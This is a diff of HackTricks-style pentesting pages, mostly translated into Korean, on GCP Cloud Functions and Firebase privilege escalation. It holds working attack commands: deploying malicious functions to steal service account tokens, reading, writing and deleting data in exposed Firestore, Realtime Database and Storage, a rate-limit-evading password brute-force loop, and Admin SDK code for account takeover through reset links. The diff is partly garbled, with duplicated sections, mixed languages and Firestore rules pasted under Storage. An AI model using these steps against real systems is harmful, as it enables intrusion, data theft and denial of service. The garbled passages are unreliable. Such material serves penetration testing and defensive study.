||||
```bash
|
||||
python3 setup.py sdist bdist_wheel
|
||||
rm dist/<package-name>*.whl
|
||||
```
|
||||
악성 패키지를 공개 저장소(예: Python의 test.pypi.org)에 업로드하세요.
|
||||
```bash
|
||||
pip install twine
|
||||
twine upload --repository testpypi dist/*
|
||||
```
|
||||
시스템이나 서비스가 가상 저장소(virtual repository)를 사용해 패키지를 설치할 때, 악성 버전의 번호가 더 높고 원격 저장소의 우선순위가 같거나 더 높기 때문에 정상적인 내부 저장소 대신 공개 저장소에서 악성 버전을 다운로드합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
Cloud Functions에 대한 자세한 정보:
|
||||
More information about Cloud Functions:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,21 +12,19 @@ Cloud Functions에 대한 자세한 정보:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
이 권한을 가진 공격자는 **임의(악성) 코드를 포함하는 새로운 Cloud Function을 생성하고 Service Account를 할당할 수 있습니다**. 그런 다음, 메타데이터에서 Service Account 토큰을 leak하여 해당 계정으로 권한 상승할 수 있습니다.
|
||||
함수를 트리거하기 위한 일부 권한이 필요할 수 있습니다.
|
||||
이 권한을 가진 공격자는 **임의(악성) 코드로 새로운 Cloud Function을 생성하고 Service Account를 할당할 수 있다**. 그런 다음 metadata에서 Service Account token을 leak하여 해당 계정으로 권한을 상승시킬 수 있다.\
|
||||
함수를 트리거하기 위해 일부 추가 권한이 필요할 수 있다.
|
||||
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
이 권한을 가진 공격자는 **Function의 코드를 수정하고 심지어 연결된 Service Account까지 변경하여 토큰을 탈취할 수 있습니다**.
|
||||
이 권한을 가진 공격자는 **Function의 코드를 수정하고 연결된 service account를 변경하여 token을 exfiltrating하는 것을 목표로 할 수 있다.**
|
||||
|
||||
> [!CAUTION]
|
||||
> cloud functions를 배포하려면 기본 compute service account에 대한 actAs 권한 또는 이미지를 빌드하는 데 사용되는 service account에 대한 actAs 권한이 필요합니다.
|
||||
> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
|
||||
|
||||
함수를 트리거하기 위해 version 1 cloudfunctions의 `.call` 권한이나 `role/run.invoker` 역할 같은 추가 권한이 필요할 수 있습니다.
|
||||
|
||||
<details><summary>악성 코드로 Cloud Function을 업데이트하여 service account token을 탈취하기</summary>
|
||||
Some extra privileges like `.call` permission for version 1 cloudfunctions or the role `role/run.invoker` to trigger the function might be required.
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 오류 `Permission 'run.services.setIamPolicy' denied on resource...` 가 발생하면 이는 `--allow-unauthenticated` 파라미터를 사용하고 있고 해당 파라미터에 대한 충분한 권한이 없기 때문입니다.
|
||||
> 에러 `Permission 'run.services.setIamPolicy' denied on resource...`가 발생하면, 이는 `--allow-unauthenticated` 파라미터를 사용 중이며 해당 작업을 수행할 충분한 권한이 없기 때문입니다.
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
이 권한이 있으면 function bucket에 파일을 업로드할 수 있는 **signed URL을 얻을 수 있습니다 (단, 함수의 코드는 변경되지 않으며 여전히 업데이트해야 합니다)**
|
||||
|
||||
<details><summary>Cloud Function용 signed upload URL 생성</summary>
|
||||
이 권한으로 함수 버킷에 파일을 업로드할 수 있는 **서명된 URL**을 얻을 수 있습니다(하지만 함수의 코드는 변경되지 않으므로 직접 업데이트해야 합니다)
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -75,21 +69,33 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
이 권한만으로 공격자 관점에서 얼마나 유용한지는 확실하지 않지만 알아두면 좋다.
|
||||
이 권한만으로 attackers 관점에서 얼마나 유용한지는 잘 모르겠지만, 알아두면 좋다.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
자신에게 이전에 언급한 **`.update`** 또는 **`.create`** 권한 중 하나를 부여하면 권한 상승이 가능하다.
|
||||
|
||||
escalate하려면 이전에 언급된 **`.update`** 또는 **`.create`** privileges 중 하나를 자신에게 부여하세요.
|
||||
```bash
|
||||
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
|
||||
--region=<REGION> \
|
||||
--member="<MIEMBRO>" \
|
||||
--role="roles/cloudfunctions.invoker"
|
||||
```
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
오직 **`cloudfunctions`** 권한만 있고 **`iam.serviceAccounts.actAs`** 가 없다면 함수를 업데이트할 수 없다. 따라서 이는 유효한 PRIVESC가 아니다.
|
||||
오직 **`cloudfunctions`** 권한만 가지고 있고 **`iam.serviceAccounts.actAs`** 권한이 없다면, **함수를 업데이트할 수 없습니다. 따라서 이는 유효한 PRIVESC가 아닙니다.**
|
||||
|
||||
### 함수 호출
|
||||
|
||||
`cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, 및 `run.routes.invoke` 권한이 있으면 주체가 Cloud Functions를 직접 호출할 수 있습니다. 또한 함수가 공개 트래픽을 허용하거나 호출자가 함수 자체와 동일한 네트워크 내에 있어야 합니다.
|
||||
```bash
|
||||
curl -X POST "https://<FUNCTION_URL>" \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "name": "Developer" }'
|
||||
```
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
버킷에 대한 읽기/쓰기 액세스가 있다면 코드 변경 사항을 모니터링할 수 있으며, **버킷에서 업데이트가 발생할 때마다 새 코드를 자신의 코드로 교체할 수 있어서** Cloud Function의 새 버전이 제출된 backdoored code로 실행되도록 만들 수 있다.
|
||||
bucket에 대해 읽기 및 쓰기 권한이 있으면 코드 변경을 모니터링할 수 있으며, **bucket에서 업데이트가 발생할 때마다 새 코드를 자신이 작성한 코드로 교체할 수 있습니다**. 그러면 새 버전의 Cloud Function이 제출된 백도어 코드로 실행됩니다.
|
||||
|
||||
You can check more about the attack in:
|
||||
|
||||
@@ -97,18 +103,18 @@ You can check more about the attack in:
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
그러나 자신의 계정에 버킷을 만들고 외부 프로젝트가 쓸 수 있도록 퍼블릭 권한을 부여하면 다음과 같은 오류가 발생하므로 제3자 Cloud Functions를 사전에 침해(pre-compromise)하는 데는 사용할 수 없다:
|
||||
하지만 타사 Cloud Function을 사전 침해(pre-compromise)하는 데에는 이를 사용할 수 없습니다. 자신의 계정에 bucket을 생성하고 외부 프로젝트가 쓸 수 있도록 공개 권한을 부여하면 다음과 같은 오류가 발생합니다:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> 하지만 이것은 DoS 공격에 악용될 수 있다.
|
||||
> 하지만 이는 DoS 공격에 악용될 수 있습니다.
|
||||
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
Cloud Function이 생성되면 프로젝트의 Artifact Registry에 새로운 docker 이미지가 푸시된다. 이미지를 새 이미지로 교체해보거나 현재 이미지를(및 `cache` 이미지) 삭제해보았지만 아무 변화가 없었고, Cloud Function은 계속 동작했다. 따라서 버킷과 마찬가지로 실행될 도커 컨테이너를 변경하기 위해 **Race Condition 공격을 악용할 가능성은 있을 수 있다**, 그러나 **저장된 이미지를 단순히 수정하는 것만으로는 Cloud Function을 침해할 수 없다**.
|
||||
Cloud Function이 생성되면 프로젝트의 Artifact Registry로 새 docker 이미지가 푸시됩니다. 이미지를 새 이미지로 변경해 보거나 현재 이미지(및 `cache` 이미지)를 삭제해 보았지만 아무 것도 바뀌지 않았고, Cloud Function은 계속 동작했습니다. 따라서 bucket과 마찬가지로 실행될 docker 컨테이너를 바꾸기 위해 **Race Condition 공격을 악용할 가능성은 있을 수 있지만**, **저장된 이미지를 단순히 수정하는 것만으로는 Cloud Function을 침해할 수 없습니다**.
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -0,0 +1,446 @@
|
||||
# GCP - Firebase Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firebase
|
||||
|
||||
### Firebase Realtime Database에 대한 인증되지 않은 접근
|
||||
공격자는 이 공격을 수행하기 위해 특정 Firebase 권한을 필요로 하지 않습니다. 이 공격은 Firebase Realtime Database 보안 규칙에서 `.read: true` 또는 `.write: true`로 설정되어 공개 읽기/쓰기 접근을 허용하는 취약한 구성만 있으면 됩니다.
|
||||
|
||||
공격자는 일반적으로 형식이 `https://<project-id>.firebaseio.com/`인 데이터베이스 URL을 식별해야 합니다.
|
||||
|
||||
이 URL은 모바일 애플리케이션 역공학(안드로이드 APK 디컴파일 또는 iOS 앱 분석), google-services.json(Android) 또는 GoogleService-Info.plist(iOS)와 같은 구성 파일 분석, 웹 애플리케이션 소스 코드 검사, 또는 네트워크 트래픽을 검사해 `*.firebaseio.com` 도메인으로의 요청을 식별하는 방식으로 찾을 수 있습니다.
|
||||
|
||||
공격자는 데이터베이스 URL을 확인해 공개적으로 노출되어 있는지 검사한 다음 데이터를 읽고 경우에 따라 악의적인 내용을 쓸 수 있습니다.
|
||||
|
||||
먼저 URL에 .json을 붙여 데이터베이스가 읽기 접근을 허용하는지 확인합니다.
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
응답이 JSON 데이터나 null("Permission Denied" 대신)을 포함하면, 데이터베이스는 읽기 액세스를 허용한다. 쓰기 액세스를 확인하려면 공격자가 Firebase REST API를 사용해 테스트 쓰기 요청을 전송해 볼 수 있다.
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
작업이 성공하면 데이터베이스는 쓰기 접근도 허용합니다.
|
||||
|
||||
### Cloud Firestore의 데이터 노출
|
||||
공격자가 이 공격을 수행하기 위해 특정 Firebase 권한을 필요로 하지 않습니다. 이 공격은 Cloud Firestore 보안 규칙이 인증 없이 또는 검증이 불충분하게 읽기 또는 쓰기 접근을 허용하도록 취약하게 구성되어 있는 것만으로 발생합니다. 전체 접근을 허용하는 잘못 구성된 규칙의 예는 다음과 같습니다:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
이 규칙은 누구나 모든 문서를 아무런 제약 없이 읽고 쓸 수 있도록 허용합니다. Firestore rules는 세분화되어 컬렉션 및 문서별로 적용되므로, 특정 규칙의 오류는 일부 컬렉션만 노출될 수 있습니다.
|
||||
|
||||
공격자는 Firebase 프로젝트 ID를 식별해야 하며, 이는 모바일 앱 reverse engineering, google-services.json 또는 GoogleService-Info.plist와 같은 구성 파일 분석, 웹 애플리케이션 소스 코드 조사, 또는 firestore.googleapis.com으로의 요청을 식별하기 위한 네트워크 트래픽 분석을 통해 찾을 수 있습니다.
|
||||
The Firestore REST API uses the format:
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
규칙이 인증되지 않은 읽기 액세스를 허용하면, attacker는 collections와 documents를 읽을 수 있다. 먼저 특정 collection에 접근을 시도한다:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
응답이 권한 오류 대신 JSON 문서를 포함한다면, 해당 컬렉션은 노출된 것입니다. 공격자는 일반적인 이름을 시도하거나 애플리케이션의 구조를 분석하여 접근 가능한 모든 컬렉션을 열거할 수 있습니다. 특정 문서에 접근하려면:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
규칙이 인증되지 않은 쓰기 접근을 허용하거나 검증이 불충분한 경우, 공격자는 새 문서를 생성할 수 있습니다:
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"name": {"stringValue": "Test"},
|
||||
"email": {"stringValue": "test@example.com"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
기존 문서를 수정하려면 PATCH를 사용해야 합니다:
|
||||
```bash
|
||||
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"role": {"stringValue": "admin"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
문서를 삭제하여 서비스 거부(DoS)를 발생시키려면:
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Firebase Storage에서 파일 노출
|
||||
공격자는 이 공격을 수행하기 위해 특정 Firebase 권한이 필요하지 않습니다. 이는 Firebase Storage의 보안 규칙에서 인증 없이 또는 불충분한 검증으로 읽기 또는 쓰기 액세스를 허용하는 취약한 구성만 있으면 됩니다. Storage 규칙은 읽기 및 쓰기 액세스를 독립적으로 제어하므로, 규칙의 오류로 인해 읽기 액세스만 노출되거나 쓰기 액세스만 노출되거나 둘 다 노출될 수 있습니다. 전체 액세스를 허용하는 잘못 구성된 규칙의 예는 다음과 같습니다:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
이 규칙은 모든 문서에 대해 아무런 제한 없이 read and write access를 허용합니다. Firestore 규칙은 세분화되어 컬렉션별 및 문서별로 적용되므로 특정 규칙의 오류는 일부 컬렉션만 노출될 수 있습니다. 공격자는 Firebase Project ID를 식별해야 하며, 이는 mobile application reverse engineering, google-services.json 또는 GoogleService-Info.plist와 같은 구성 파일 분석, 웹 애플리케이션 소스 코드 검사, 또는 firestore.googleapis.com으로의 요청을 식별하기 위한 네트워크 트래픽 분석을 통해 찾을 수 있습니다.
|
||||
The Firestore REST API uses the format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
규칙이 unauthenticated read access를 허용하면 공격자는 컬렉션과 문서를 읽을 수 있습니다. 우선 특정 컬렉션에 접근을 시도합니다.
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
응답이 권한 오류 대신 파일 목록을 포함하고 있다면, 해당 파일은 노출된 것입니다. 공격자는 파일 경로를 지정하여 파일의 내용을 볼 수 있습니다:
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
규칙이 인증되지 않은 쓰기 액세스를 허용하거나 검증이 불충분한 경우, 공격자는 악성 파일을 업로드할 수 있습니다. REST API를 통해 파일을 업로드하려면:
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
--data-binary @<local-file>
|
||||
```
|
||||
공격자는 code shells, malware payloads 또는 대용량 파일을 업로드하여 denial of service를 야기할 수 있습니다. 애플리케이션이 업로드된 파일을 처리하거나 실행하면 공격자는 remote code execution을 달성할 수 있습니다. 파일을 삭제하고 denial of service를 일으키려면:
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### 공개된 Firebase Cloud Functions 호출
|
||||
공격자는 이 문제를 악용하기 위해 특정 Firebase 권한이 필요하지 않습니다; 인증 없이 HTTP를 통해 Cloud Function에 공개적으로 액세스할 수 있으면 됩니다.
|
||||
|
||||
함수가 다음과 같이 안전하지 않게 구성된 경우 취약합니다:
|
||||
|
||||
- functions.https.onRequest를 사용하며, 이는 인증을 강제하지 않습니다 (onCall functions와는 달리).
|
||||
- 함수의 코드가 사용자 인증을 검증하지 않습니다(예: request.auth 또는 context.auth에 대한 검사 없음).
|
||||
- 해당 함수가 IAM에서 공개적으로 접근 가능하며, 즉 allUsers가 roles/cloudfunctions.invoker 역할을 갖고 있는 경우입니다. 이는 개발자가 접근을 제한하지 않으면 HTTP 함수의 기본 동작입니다.
|
||||
|
||||
Firebase HTTP Cloud Functions는 다음과 같은 URL을 통해 노출됩니다:
|
||||
|
||||
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
|
||||
- https://<project-id>.web.app/<function-name> (Firebase Hosting과 통합된 경우)
|
||||
|
||||
공격자는 소스 코드 분석, 네트워크 트래픽 검사, enumeration tools, 또는 모바일 앱 reverse engineering을 통해 이러한 URL을 발견할 수 있습니다.
|
||||
함수가 공개적으로 노출되어 있고 인증이 없으면 공격자는 자격 증명 없이 직접 해당 함수를 호출할 수 있습니다.
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
# Invoke public HTTP function with POST and data
|
||||
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.
|
||||
|
||||
|
||||
### Brute-force attack against Firebase Authentication with a weak password policy
|
||||
공격자는 이 공격을 수행하기 위해 특정 Firebase 권한이 필요하지 않다. 이 공격에는 Firebase API Key가 모바일 또는 웹 애플리케이션에 노출되어 있고, 비밀번호 정책이 기본값보다 엄격하게 구성되어 있지 않은 것만 필요하다.
|
||||
|
||||
공격자는 Firebase API Key를 식별해야 하며, 이는 모바일 앱 리버스 엔지니어링, google-services.json 또는 GoogleService-Info.plist와 같은 구성 파일 분석, 웹 애플리케이션의 소스 코드 검사(예: bootstrap.js), 또는 네트워크 트래픽 분석을 통해 발견할 수 있다.
|
||||
|
||||
Firebase Authentication’s REST API uses the endpoint:
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
to authenticate with email and password.
|
||||
|
||||
If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.
|
||||
|
||||
Firebase Authentication은 레이트 리미팅을 적용하므로 짧은 시간에 인증 시도가 너무 많으면 요청을 차단할 수 있다는 점에 유의해야 한다. 이 때문에 공격자는 레이트 제한에 걸리지 않기 위해 시도 사이에 지연을 도입해야 한다.
|
||||
|
||||
공격자는 API Key를 식별한 후 알려진 계정들에 대해 여러 비밀번호로 인증 시도를 수행한다. Email Enumeration Protection이 비활성화되어 있으면, 공격자는 오류 응답을 분석하여 존재하는 사용자를 열거할 수 있다:
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "usuario@example.com",
|
||||
"password": "password",
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
응답에 EMAIL_NOT_FOUND가 포함되어 있으면 해당 이메일은 시스템에 존재하지 않습니다. INVALID_PASSWORD가 포함되어 있으면 이메일은 존재하지만 비밀번호가 틀려 사용자가 등록되어 있음을 확인할 수 있습니다. 유효한 사용자가 확인되면 공격자는 brute-force 시도를 수행할 수 있습니다. Firebase Authentication의 rate-limiting 메커니즘을 피하려면 시도 사이에 일시 중지를 포함하는 것이 중요합니다:
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
echo "Intento $counter: probando contraseña '$password'"
|
||||
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
|
||||
|
||||
if echo "$response" | grep -q "idToken"; then
|
||||
echo "Contraseña encontrada: $password (intento $counter)"
|
||||
break
|
||||
fi
|
||||
|
||||
# Stop for the rate limiting
|
||||
sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.
|
||||
|
||||
### Firebase Authentication에서의 사용자 관리
|
||||
|
||||
공격자는 이 공격을 수행하기 위해 특정 Firebase Authentication 권한이 필요합니다. 필요한 권한은 다음과 같습니다:
|
||||
|
||||
- `firebaseauth.users.create` — 사용자 생성
|
||||
- `firebaseauth.users.update` — 기존 사용자 수정
|
||||
- `firebaseauth.users.delete` — 사용자 삭제
|
||||
- `firebaseauth.users.get` — 사용자 정보 조회
|
||||
- `firebaseauth.users.sendEmail` — 사용자에게 이메일 전송
|
||||
- `firebaseauth.users.createSession` — 사용자 세션 생성
|
||||
|
||||
이 권한들은 Firebase Authentication 리소스에 대한 읽기/쓰기 전체 액세스를 부여하는 `roles/firebaseauth.admin` 역할에 포함되어 있습니다. 또한 모든 firebaseauth.* 권한을 포함하는 roles/firebase.developAdmin와 Firebase의 모든 서비스에 대한 전체 액세스를 제공하는 roles/firebase.admin 같은 상위 권한 역할에도 포함되어 있습니다.
|
||||
|
||||
Firebase Admin SDK를 사용하려면 공격자는 서비스 계정 자격증명(JSON 파일)에 접근할 수 있어야 합니다. 이러한 자격증명은 침해된 시스템, 공개된 코드 저장소, 침해된 CI/CD 시스템, 또는 해당 자격증명에 접근 권한이 있는 개발자 계정의 침해를 통해 발견될 수 있습니다.
|
||||
|
||||
첫 번째 단계는 서비스 계정 자격증명(JSON 파일)을 사용해 Firebase Admin SDK를 구성하는 것입니다.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
피해자의 이메일을 사용해 악성 사용자를 만들기 위해, 공격자는 Firebase Admin SDK를 사용해 해당 이메일로 새 계정을 생성하려고 시도할 것입니다.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
기존 사용자를 수정하려면 공격자는 이메일 주소, 인증 상태 또는 계정 비활성화 여부와 같은 필드를 업데이트할 수 있습니다.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
사용자 계정을 삭제하고 denial of service를 초래하려면 공격자는 해당 사용자를 완전히 제거하는 요청을 전송합니다.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
공격자는 UID나 email address를 요청하여 기존 사용자에 대한 정보를 가져올 수도 있다.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
또한 공격자는 verification links 또는 password-reset links를 생성하여 사용자의 비밀번호를 변경하고 해당 계정에 접근할 수 있습니다.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Firebase Authentication에서의 사용자 관리
|
||||
공격자가 이 공격을 수행하려면 특정 Firebase Authentication 권한이 필요합니다. 필요한 권한은 다음과 같습니다:
|
||||
|
||||
- `firebaseauth.users.create` — 사용자 생성
|
||||
- `firebaseauth.users.update` — 기존 사용자 수정
|
||||
- `firebaseauth.users.delete` — 사용자 삭제
|
||||
- `firebaseauth.users.get` — 사용자 정보 조회
|
||||
- `firebaseauth.users.sendEmail` — 사용자에게 이메일 발송
|
||||
- `firebaseauth.users.createSession` — 사용자 세션 생성
|
||||
|
||||
이 권한들은 roles/firebaseauth.admin 역할에 포함되어 있으며, Firebase Authentication 리소스에 대한 전체 읽기/쓰기 액세스를 부여합니다. 또한 `roles/firebase.developAdmin`(모든 firebaseauth.* 권한 포함) 및 `roles/firebase.admin`(모든 Firebase 서비스에 대한 전체 액세스)과 같은 상위 역할의 일부이기도 합니다.
|
||||
|
||||
Firebase Admin SDK를 사용하려면 공격자는 서비스 계정 자격증명(JSON 파일)에 접근할 수 있어야 하며, 이는 침해된 시스템, 공개된 코드 저장소, 침해된 CI/CD 환경 또는 해당 자격증명에 접근 권한이 있는 개발자 계정의 침해를 통해 얻을 수 있습니다.
|
||||
|
||||
첫 번째 단계는 서비스 계정 자격증명을 사용하여 Firebase Admin SDK를 구성하는 것입니다.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
victim’s email을 사용해 malicious user를 생성하려면, attacker는 해당 이메일로 새 사용자 계정을 만들고 자신의 password와 profile information을 설정하려고 시도할 것이다.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
기존 사용자를 수정하려면 공격자는 이메일 주소, 인증 상태, 또는 계정이 비활성화되었는지 여부와 같은 필드를 변경한다.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
사용자 계정을 삭제하려면—실질적으로 denial of service를 초래하는—공격자는 해당 사용자를 영구히 제거하도록 요청을 전송합니다.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
공격자는 UID나 email 주소로 사용자 세부 정보를 요청하여 UID나 email과 같은 기존 사용자 정보를 가져올 수도 있다.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
또한, 공격자는 verification links 또는 password-reset links를 생성하여 사용자의 비밀번호를 변경하고 계정을 장악할 수 있다.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Firebase 서비스에서 보안 규칙 수정
|
||||
